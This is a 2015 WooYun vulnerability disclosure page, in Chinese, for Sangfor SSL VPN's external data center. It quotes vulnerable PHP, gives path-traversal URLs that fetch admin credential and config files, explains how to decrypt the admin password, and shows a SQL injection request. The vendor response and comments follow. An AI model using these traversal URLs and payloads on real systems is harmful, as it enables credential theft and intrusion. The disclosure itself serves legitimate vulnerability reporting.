当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(38) 关注此漏洞

缺陷编号: WooYun-2015-98982

漏洞标题: 深信服SSL VPN&VSP外置数据中心任意文件下载和SQL注射漏洞

相关厂商: 深信服

漏洞作者: f4ckbaidu

提交时间: 2015-03-01 20:50

公开时间: 2015-05-31 12:00

漏洞类型: 任意文件遍历/下载

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 任意文件读取利用

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-01: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-05: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-04-26: 细节向核心白帽子及相关领域专家公开
2015-05-06: 细节向普通白帽子公开
2015-05-16: 细节向实习白帽子公开
2015-05-31: 细节向公众公开

简要描述:

我来促使研发哥加班了

详细说明:

一、任意文件下载

问题文件:\src\module\opt\downloadSecFile.php

code 区域
<?php
// 解码
$url = rawurldecode($_REQUEST['url']);
// 处理浏览器自动解码
$name = rawurlencode($_REQUEST['name']);

$dirArr = explode("/", $url);
if(!is_array($dirArr) || strcasecmp("UploadFiles", $dirArr[1]) != 0 || in_array("..", $dirArr))
{
header("Content-type: text/html; charset=utf-8");
echo "下载URL非法!";
exit;
}

// 提示下载文件
header("Content-Disposition:attachment;filename=$name");
header("Expires: 0");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
// 读取下载的文件
$root = $_SERVER['DOCUMENT_ROOT'];
$path = $root.$url;
@readfile($path);
?>



没有include init.php,无需登录可以直接访问

问题代码:

code 区域
$dirArr = explode("/", $url);
if(!is_array($dirArr) || strcasecmp("UploadFiles", $dirArr[1]) != 0 || in_array("..", $dirArr))



呵呵,windows下穿越目录可以这么干:

code 区域
C:\Program Files>cd ..\
C:\>



1.png



轻松bypass,可以用来读取服务器上任意文件(当然仅限于安装目录所在盘符下的文件)

比如说:

1、脱裤子

code 区域
https://IP/src/module/opt/downloadSecFile.php?url=/UploadFiles/..\./..\./mysql/data/sinforglobaldb/sys_adt.MYD



sys_adt.MYD里保存了系统管理员帐号密码,参考之前发的漏洞:http://**.**.**.**/bugs/wooyun-2014-087051

红框部分合并就是Admin帐号加密后的密码,去掉最后一位,key为tjf解密如下:

2.png



3.png



2、读取global_admin.ini直接登录

参考漏洞:http://**.**.**.**/bugs/wooyun-2014-064698

code 区域
https://IP/src/module/opt/downloadSecFile.php?url=/UploadFiles/..\/global_admin.ini



4.png



3、获取邮箱帐号密码

code 区域
https://IP/src/module/opt/downloadSecFile.php?url=/UploadFiles/..\/src/inc/conf/mailSvr.conf



5.png





二、SQL注入(insert into类型,需要登录)

问题代码在DBMantain.class.php里:

code 区域
private function DBBackup($nodeid, $desc=null)
{
if(!is_numeric($nodeid))
{
return false;
}
if(check_db_busy())
{
$this->errNo = CAN_NOT_RESTART_MYSQL;
return false;
}
$svr = new devservices();
$nodeObj= new NodeMantain();

/* 检测节点是否存在 */
if( ! $nodeObj->chkDbIntegraty($nodeid) )
{
$this->errNo = ERR_MISS_OR_EXISTS_NODEID;
return false;
}
/* 备份目录不存在则创建 */
$dbpath = $this->GetNodeDBPath($nodeid); // 得到数据库目录
if(false === $dbpath)
{
return false;
}
if( ! file_exists($this->backpath) ) //从配置文件里读出来的是GBK,编码正常
{
if( ! createFolder($this->backpath, TRUE) )
{
$this->errNo = CREATE_DIR_FAILURE;
return false;
}
}
/* 计算可用空间 */
//$this->backpath = iconv ("UTF-8", "GBK", $this->backpath );//由于NT内核,在接口上用的是GBK的字符集,所以得转成GBK
if( disk_free_space($this->backpath) < $this->dirSpace($dbpath) )
{
$this->errNo = NO_ENOUGH_SPACE;
return false;
}

/* 备份文件含路径 */
$backname = $this->createBackName($nodeid);
$backpath = dirTrans($this->backpath.'/'.$backname);

/* 插入备份信息记录 */
$this->conn->OpenDb();
$dbmd5 = $this->dbMD5($backpath); //计算MD5时路径为GBK编码
$backpath = iconv ("GBK","UTF-8", $backpath ); //转成UTF-8存到数据库中
$time = date("Y-m-d h:i:s");
$sql = "INSERT INTO db_backup(Descrption, backname, BackPath, NodeId, Md5digest, time)
VALUES('$desc', '$backname', '$backpath', $nodeid, '$dbmd5', '$time')";
if( ! $this->conn->query_unbuffered($sql) )
{
$this->errNo = DB_INSERT_FAILURE;
return false;
}
......省略
}



$desc没有过滤可引入单引号形成insert型注入,POC如下:

code 区域
POST **.**.**.**/src/module/opt/optsysconf.php?config_type=6&rnd=0.33210583170875907 HTTP/1.1
Host: **.**.**.**
Connection: keep-alive
Content-Length: 29
Origin: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: **.**.**.**/src/module/view/datalogbackup.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: lang_cookie=zh_CN; lang_cookie=zh_CN; PHPSESSID=kkdi4f3r6iq7dkesnjji4hgbf5

id=1&descrption=ffffffffffff' <--单引号在此



6.png



7.png

漏洞证明:

4.png



6.png



7.png

修复方案:

版权声明:转载请注明来源 f4ckbaidu@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-03-02 11:59

厂商回复:

感谢白帽子提出的问题!经过内部验证:(1)此外置数据中心主要用于存放VPN的操作日志,不涉及VPN的权限安全问题;(2)外置数据中心基本上部署在客户内网,外网无法访问该数据中心,因此该漏洞较难利用。

综合考虑以上两点内容,我们将漏洞降为中级。我们的工程师正在紧急修复该漏洞,近期将发布补丁包。启动了自动更新功能的客户可通过在线升级的方式自动修复此漏洞,另外,我们的客服部门也将发布公告推动更新。

最新状态:

2015-03-02:得知漏洞信息后,深信服工程师已第一时间对SSL产品线全部版本及其外置数据中心进行排查, 此隐患只存在于外置数据中心,不会对SSL VPN设备自身的稳定性和安全性造成任何影响。并且外置数据中心一般部署于内网,无法通过互联网进行访问,因此来自互联网利用此漏洞进行攻击威胁的可行性较低。而未安装使用外置数据中心的设备,完全不受此漏洞影响。特此声明。


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-03-01 22:18 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    目测洞主好人

  2. 2015-03-02 00:19 | Master ( 实习白帽子 | Rank:33 漏洞数:10 )
    0

    要火,一大批设备要被爆菊了

  3. 2015-03-02 00:23 | f4ckbaidu ( 普通白帽子 | Rank:243 漏洞数:31 | 开发真是日了狗了)
    0

    @Master 外置dc不是设备本身,手上没设备可分析

  4. 2015-03-02 00:26 | f4ckbaidu ( 普通白帽子 | Rank:243 漏洞数:31 | 开发真是日了狗了)
    0

    @xsser 你猜对了,经常被妹纸发好人卡的屌丝无奈飘过~

  5. 2015-03-05 15:24 | 孔卡 ( 实习白帽子 | Rank:42 漏洞数:12 | 我已经过了那个餐桌上只有一条鸡腿就一定能...)
    1

    外置数据中心源码是深信服的 可以全他们官网下载 这个没有啥授权问题

  6. 2015-03-05 22:50 | 明月影 ( 路人 | Rank:12 漏洞数:8 )
    0

    @f4ckbaidu 嘿嘿,rank等待确认

  7. 2015-03-06 10:24 | Master ( 实习白帽子 | Rank:33 漏洞数:10 )
    0

    @f4ckbaidu 我看到标题一个 & 以为一大波VPN要被爆菊呢。坐等公开

登录后才能发表评论,请先 登录